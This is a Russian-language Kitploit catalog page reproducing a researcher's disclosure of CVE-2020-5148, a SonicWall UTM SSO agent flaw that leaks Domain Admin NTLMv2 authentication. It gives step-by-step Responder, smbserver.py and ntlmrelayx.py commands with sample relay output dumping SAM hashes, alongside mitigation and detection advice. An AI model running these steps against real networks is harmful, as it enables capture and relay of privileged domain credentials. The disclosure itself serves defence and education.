Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-5148 — CVE-2020-5148 — Принудительная аутентификация в агенте SonicWall UTM SSO. Агент опрашивает непроверенные рабочие станции от имени Domain Admin, поэтому один исходящий веб-запрос выдаёт привилегированный NTLMv2-хеш. Уведомление SNWLID-2021-0003. | Kitploit
Инструменты/GitHubGitHub/l0lsec/cve-2020-5148
Атаки на ПаролиАнализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьСетевая безопасностьТестирование на ПроникновениеАутентификацияRed Teaming
GitHubl0lsec/cve-2020-5148

CVE-2020-5148

CVE-2020-5148 — Принудительная аутентификация в агенте SonicWall UTM SSO. Агент опрашивает непроверенные рабочие станции от имени Domain Admin, поэтому один исходящий веб-запрос выдаёт привилегированный NTLMv2-хеш. Уведомление SNWLID-2021-0003.

27 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт

CVE-2020-5148

Принудительная аутентификация в SSO-агенте SonicWall UTM

SSO-агент SonicWall определяет пользователя за данным IP-адресом, опрашивая рабочую станцию через NetAPI (по умолчанию) или WMI. Он не проверяет рабочую станцию перед началом NTLM-аутентификации и продолжает опрашивать тот же адрес в течение всего времени сеанса.

Поскольку службе SSO-агента требуются права администратора на каждой рабочей станции и сервере, которые она опрашивает, на практике она разворачивается с правами Domain Admin. Поэтому любой неаутентифицированный участник, способный направить веб-трафик через устройство UTM, может заставить учётную запись Domain Admin пройти аутентификацию на выбранном им хосте и перехватить или ретранслировать эту аутентификацию.

Опубликовано как CVE-2020-5148, рекомендация вендора SNWLID-2021-0003.

Обнаружено и сообщено Sedric Louissaint из Show Up Show Out Security.


Сводка

CVECVE-2020-5148
ПродуктSonicWall UTM Appliance and SSO Agent / Directory Services Connector
ЗатронутыSSO Agent 4.1.10.0; Directory Services Connector 4.1.17 and earlier
Исправлено вNVD фиксирует исправление в Directory Services Connector 4.1.19 (см. примечание ниже)
СлабостьCWE-287: Improper Authentication
CVSS 3.1 (NVD)8.2 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVSS (исследователь)8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Опубликовано2021-03-05
Протестировано наMicrosoft Windows Server 2012 R2 Standard
Требуется аутентификацияНет
Рекомендация вендораhttps://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003

Описание NVD:

Конфигурация SSO-агента SonicWall по умолчанию использует NetAPI для опроса соответствующих IP-адресов в сети; этот метод клиентского опроса позволяет потенциальному злоумышленнику перехватить хэш пароля

Технические детали

Предусмотренный поток и два шага, которые в нём пропущены

  1. Трафик пользователя достигает устройства SonicWALL UTM.
  2. Устройство отправляет IP-адрес пользователя SSO-агенту как «User Name Request». Заблокированные пакеты удерживаются.
  3. SSO-агент отвечает именем пользователя, вошедшего в эту рабочую станцию.
  4. LDAP или локальная база данных определяет членство в группах.
  5. Применяется политика, и удерживаемый трафик освобождается.
  6. Устройство продолжает опрашивать SSO-агента, чтобы подтвердить, что тот же пользователь всё ещё выполнил вход.

Поток SSO SonicWALL с аннотациями двух недокументированных шагов

Аннотации отмечают то, что не показано в диаграмме вендора:

  • Шаг 2.5 SSO-агент должен пройти аутентификацию на рабочей станции, прежде чем сможет выполнить к ней запрос. Это исходящее NTLM-рукопожатие на адрес, указанный тем, кто сгенерировал трафик, без предварительной проверки этого адреса.
  • Шаг 5.5 Агент повторяет эту аутентификацию при каждом опросе в течение всего времени сеанса. Интервал опроса настраивается в графическом интерфейсе.

Контекст привилегий

Службе SSO-агента требуются права администратора на всех связанных рабочих станциях и серверах, чтобы вообще выполнять запрос. Практически в каждом развёртывании это означает, что учётная запись службы — Domain Admin.

Таким образом, учётные данные, передаваемые непроверенному хосту, являются учётной записью с наивысшими привилегиями в каталоге.

Свойства файла SSOAgentService.exe с указанием версии 4.1.10.0

Как вызвать уязвимость

Эксплойт-кода нет. Достаточно любого исходящего веб-запроса из сегмента, который обрабатывает устройство:

root@kitploit:~
curl sonicwall.com

Одна команда curl, пересекающая границу сети

URL не важен, и запрос не обязательно должен завершиться успешно. Устройство наблюдает трафик с нераспознанного IP-адреса, просит SSO-агента опознать пользователя там, и агент проходит аутентификацию на этом IP-адресе.

Перехват учётных данных

При прослушивании Responder или smbserver.py NTLMv2-аутентификация агента приходит без запроса и продолжает приходить из-за поведения опроса:

root@kitploit:~
[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Хэши NTLMv2, перехваченные от SSO-агента

Ретрансляция

Брутфорс не обязателен. Если подпись SMB не принудительна, аутентификацию можно ретранслировать в реальном времени на другой хост, который затем воспринимает соединение как привилегированную учётную запись, которой она представляется:

root@kitploit:~
ntlmrelayx.py -t <target> -smb2support -of <output>
root@kitploit:~
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

ntlmrelayx ретранслирует аутентификацию и сбрасывает хэши SAM

Аутентификация инициируется неаутентифицированным веб-запросом и используется на совершенно другой машине, что и является полным обходом ACL, описанным в рекомендации.

Воспроизведение

В лаборатории, которой вы владеете или на тестирование которой у вас есть разрешение, с устройством UTM, настроенным для SSO, и SSO-агентом, использующим метод клиентского опроса NetAPI по умолчанию:

  1. Запустите прослушиватель на хосте внутри сегмента, который обрабатывает устройство:
    root@kitploit:~
    sudo responder -I <interface>
    # or
    sudo smbserver.py c . -smb2support
    
  2. С этого же хоста сгенерируйте любой исходящий веб-трафик через устройство:
    root@kitploit:~
    curl sonicwall.com
    
  3. Уязвимая конфигурация в течение нескольких секунд вызывает входящую NTLMv2-аутентификацию от учётной записи службы SSO-агента. Подождите — и она повторится из-за опроса.
  4. При желании выполните ретрансляцию вместо перехвата против хоста с отключённой подписью SMB:
    root@kitploit:~
    ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
    

Полная последовательность команд в poc/repro.sh.

Содержимое репозитория

root@kitploit:~
poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Имена пользователей, хэши и внутренние адреса в перехватах скрыты или взяты из исходной лаборатории.

Устранение

  1. Переключите клиентский опрос с NetAPI на WMI. Это задокументированный вендором обходной путь и самое быстрое значимое изменение.
  2. Не запускайте SSO-агент от учётной записи, которая может выполнять вход где угодно. Не разрешайте administrator входить через службу SSO-агента, контроллер домена, Exchange-сервер или терминальный сервер. Если учётная запись должна оставаться привилегированной, используйте пароль достаточно длинный, чтобы офлайн-подбор был нереалистичен, — двадцать символов или более, и никогда не используйте его повторно.
  3. Обновите Directory Services Connector. NVD фиксирует исправление в 4.1.19. Обратите внимание: в тестировании исследователя 4.1.19 и более поздние версии по-прежнему демонстрировали базовое поведение опроса и показывали предупреждение, а не устраняли его. Предупреждение — не средство контроля, поэтому считайте переход на WMI и усиление учётной записи реальным смягчением.
  4. Включите принудительную подпись SMB во всей инфраструктуре. Это не мешает перехвату учётных данных, но исключает ретрансляцию как вариант.
  5. Рассмотрите расширенную защиту аутентификации (Extended Protection for Authentication) для служб, которые её поддерживают, и ограничьте исходящий SMB на периметре.
  6. Обнаруживайте это. Попытки аутентификации от учётной записи службы SSO-агента к хостам, которые не являются управляемыми рабочими станциями, — событие с высоким сигналом. Также и аутентификация этой учётной записи на адресе, который никогда не появлялся в инвентаризации.

Хронология

ДатаСобытие
2020Обнаружено и сообщено в SonicWall
2021-03-05Опубликован CVE-2020-5148, рекомендация SNWLID-2021-0003

Публикации

  • Личный блог: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
  • Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

Отказ от ответственности

Опубликовано после раскрытия вендору в оборонительных и образовательных целях. Здесь нет эксплойт-кода, потому что он не требуется, — в этом и суть находки. Не выполняйте эти команды в сетях, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения.

Скачать инструмент